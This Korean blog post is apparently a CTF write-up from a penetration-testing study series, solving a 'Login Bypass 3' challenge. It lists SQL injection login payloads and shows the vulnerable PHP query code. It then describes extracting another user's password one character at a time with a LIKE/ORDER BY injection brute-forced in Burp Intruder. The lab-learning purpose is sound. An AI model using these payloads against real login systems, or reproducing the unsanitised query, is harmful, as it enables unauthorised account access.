0. 문제 설명
normaltic3 로 로그인하자!
현재 우리의 계정은 다음과 같다. [ID/PW] : doldol / dol1234
1. 문제 탐색
정말 많은 시도를 해봤다.
문제 푸는 과정에서 칼럼명을 알아내긴 했는데, 칼럼 정보를 알고 있어도 힘들었다.
id : doldol'# pass : randomString - 식별 / 인증 동시 + 계행 x 확인 -> 로그인x
id : doldol' or '1' = '1 pass : randomString - fetch 함수 유무 확인 -> 로그인x(fetch 함수 존재)
id : doldol' and '1' = '1 pass : dol1234 - 식별 상태 확인 -> 로그인o
id : doldol' and pass='dol1234'# pass : dol1234 - 해시 여부 확인 -> 로그인o(비밀번호 해시 x)
id : doldol' union select 1,2# pass : dol1234 - 칼럼 개수 알아내기 -> 로그인o(2개)
id : doldol' or '1' = '1' order by 1 # - 테이블 내 doldol 계정 위치 확인 -> 로그인x(알 수 없음)
id : doldol' or '1' = '1' order by 1 desc# - 테이블 내 doldol 계정 위치 확인 -> 로그인x(알 수 없음)
등등..
비밀번호가 해시화가 되어 있지 않으며, fetch 함수가 존재하여 제일 처음에 존재하는 row를 비밀번호와 매칭시켜서 일치하면 로그인, 그렇지 않으면 오류를 출력하는 로그인 로직이었다.
물론 로그인 정보까지 알고 있어도 푸는데는 시간이 꽤 오래 걸렸다.
id : doldol' or id='normaltic3' and pass like '문자%' order by 1 desc#
결국엔 위의 쿼리를 생각해냈다.(물론 정상적인 방법은 아님)
2. 로그인 로직
Login Bypass3 로직은 아래와 같다. ( 식별 / 인증 분리 로직 + 해시 없음)
<?php
function query3($id, $pass) {
$query = "SELECT * FROM users WHERE id='$id'";
$result = mysqli_query(DB(), $query);
$row = mysqli_fetch_array($result);
if ($row == $pass) {
echo '로그인 성공';
} else {
echo '로그인 실패';
}
}
?>
그리고 이전에 생각해놓은 쿼리를 이용할 차례
SELECT * FROM users WHERE id='doldol' or id='normaltic3' and pass like 'a%' order by 1 desc#
위의 쿼리는 먼저 and / or 연산 순서에 따라
(id='normaltic3' and pass like '문자%')를 먼저 계산하고, or 연산을 진행한다. 마지막으로 order by 연산을 수행한다.
자세한 과정은 아래와 같다
1. 만약에 id가 normaltic3을 만족시키고 비밀번호가 문자로 시작하는 경우를 만족시키는 계정이 존재할 경우, row 하나를 출력한다.
2. or 연산을 수행하고 id가 doldol인 row를 하나 더 출력한다.
3. 마지막으로 order by 1 desc 순으로 정렬을 시킨다.
<실행 결과>
1번에서 출력된 row가 존재할 경우, 이 row는 doldol보다 우선순위로 정렬되어 fetch함수에 걸리지만 비밀번호가 dol1234가 아니기 때문에 오류를 출력한다.
1번에서 출력된 row가 없을 경우, 아이디가 doldol인 row밖에 없기 때문에 doldol 계정으로 로그인이 진행된다.
로그인이 진행되지 않았을 때, normaltic3의 비밀번호 한자리를 알게 된다
3. 문제 풀이
이제 위의 과정을 모든 비밀번호를 알아낼 때까지 반복해서 진행하면 된다...
intercept로 먼저 request 패킷 코드를 가져온다.
빨간 박스 부분을 intruder로 알아내야 하니 패킷을 바로 intruder로 보낸다.
intruder를 진행할 부분에 add 표시를 하고, 그 다음은 payload를 설정할 차례이다.
이와 같이 그냥 키보드를 모두 눌러줬다. 모든 영문, 모든 숫자
(이 과정에서 영문과 숫자 이외의 문자는 비밀번호로 설정하지 않을 것이라고 가정하고 진행했다.)
<실행 결과>
이와 같이 상태 코드와 response 코드 문자열 길이가 크게 차이나는 문자가 존재한다.
방금 과정으로 비밀번호 중 맨 앞글자 t 하나를 얻었다.
payload 앞에 t를 붙이고 다시 모든 영문, 모든 숫자를 입력하여 공격하는 과정을 비밀번호를 알아낼 때까지 진행하면 된다
<최종 결과>
이 비밀번호를 얻고 더 intruder를 진행했을 때는 모든 payload의 HTTP 상태코드가 302로 나타나 최종적으로 이미지의 비밀번호로 로그인을 진행했다.
4. 결론
union이라는 편리한 도구를 이용하자.
파이썬 라이브러리를 쓰지 않고 intruder를 써서 풀었는데, POST 방식으로 데이터를 전달하는 방법을 고민해볼 필요가 있다.
'모의해킹 스터디 > Week6' 카테고리의 다른 글
[CTF] SQL Injection 1 풀이 (0) | 2024.05.27 |
---|---|
[SQL Injection] 특정 데이터만 출력하기 (1) | 2024.05.27 |
[CTF] Login Bypass 2 풀이 (0) | 2024.05.26 |
[웹개발] SQL Injection 확인 페이지 개발 (1) | 2024.05.25 |
[SQL Injection] union을 이용한 데이터 추출 (2) | 2024.05.24 |